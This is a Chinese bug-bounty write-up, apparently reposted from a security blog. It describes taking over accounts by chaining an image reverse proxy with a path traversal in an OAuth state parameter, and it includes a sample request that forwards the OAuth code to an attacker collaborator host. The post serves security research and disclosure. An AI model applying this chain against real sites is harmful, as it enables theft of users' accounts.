文章总结: 本文讲述了在海外SRC实战中,通过组合反向代理与OAuth认证缺陷实现账户接管的过程。作者分析了OAuth认证流程,发现redirect_uri受限但state参数可被利用。利用头像更新处的反向代理机制,通过路径遍历绕过state参数的后端校验,构造恶意链接诱使服务器反向代理请求攻击者服务器,成功窃取OAuthCode实现账户接管,展示了逻辑漏洞与功能点组合利用的技巧。 综合评分: 89 文章分类: SRC活动,渗透测试,WEB安全,实战经验,漏洞分析
【海外SRC实战】通过反向代理劫持OAuth Code以接管帐户
原创
菜卷 菜卷
菜卷安全
2026年2月26日 11:35 广东
“ 免责声明:由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本公众号及作者不为此承担任何责任,一旦造成后果请自行承担! ”
OAuth认证
目标网站:1377.targetstaging.app
网站使用OAuth2.0认证,允许使用谷歌、微软和Slack等提供商登录网站。该OAuth认证流主要包含四个请求:
第一个请求:访问该公司的统一登录入口/ssoRequest,重定向到谷歌登录授权页面
第二个请求:向谷歌登录授权页面发送请求,请求访问特定用户数据的权限,获取code,其中
-
client_id:客户端唯一标识符,用于识别发起登录请求的应用程序
-
redirect_uri:授权成功后,Google将用户重定向回此地址
-
response_type=code:使用OAuth2.0认证的授权码模式
-
scope:请求的权限范围
-
state:包含一个自定义URL和state参数,state参数用于存储与客户端应用程序上的当前会话绑定的唯一值
请求成功将返回谷歌code,并重定向到redirect_uri。
第三个请求:携带code访问redirect_uri,服务端将重定向到state参数指向的地址:
第四个请求:授权并允许获取auth cookie来访问账户:
在弄清楚它是如何工作的之后,我尝试了不同的方法来劫持code。我的第一个想法是测试redirect_uri参数,将受害者重定向到我的域并获取OAuth代码。但后端正则似乎完全限制为公司的域名上,无法更改redirect_uri参数并对其进行重定向。
反向代理
登录控制面板后,在“更新个人资料图片”部分更新个人资料照片时,我发现这个请求:
第一个想法是SSRF:
然后重新加载我的个人资料,可以看到这里请求了我的collaboration域名:
这里注意到的一点是浏览器不会直接加载图像,个人资料图片的链接被提供给反向代理,然后反向代理加载并显示图像:
在这里,它将个人资料图片的链接作为输入,如果格式是图像,它将加载。
我在这里做了各种测试,如将协议更改为gopher或file,使用重定向技巧更改协议,使用SVG输入进行XSS或LFI,端口扫描等等,都没有成功。
组合拳
我突然想到,我有一个反向代理,它将URL作为路径,并向URL发送GET请求,其中包含URL中的所有必要信息。
在OAuth Flow的第四个请求中,code是在GET参数中发送的。所以,如果我能以某种方式将流程的第四步重定向到这条路径:
GET /imageProxy/https://attacker.oastify.com/?code= HTTP/1.1
我可以接收ccode并访问账户。
检查OAuth Flow的参数:
这里我们有两个重要参数,在上述请求中以红色和绿色突出显示。
第一个参数是redirect_uri,它不能以任何方式更改。
第二个参数是state,此参数的目的是在提供程序身份验证并获取代码后将其值传递给主公司站点。然后,主公司网站将检查状态参数中的URL,如果它通过了后端检测,它将将我们重定向到此URL:
尝试修改state:
然而,任何更改都会返回403,除非在原先路径后添加字符:
还好这里存在路径遍历:
所以我可以这样:
所以这里我可以通过创建以下两个链接,伪造OAuth请求一和二:
如果受害者点击了这两个链接中的任何一个并授权OAuth登录,我会收到这样的请求,其中包括code:
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:菜卷安全 菜卷 菜卷《【海外SRC实战】通过反向代理劫持OAuth Code以接管帐户》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。









评论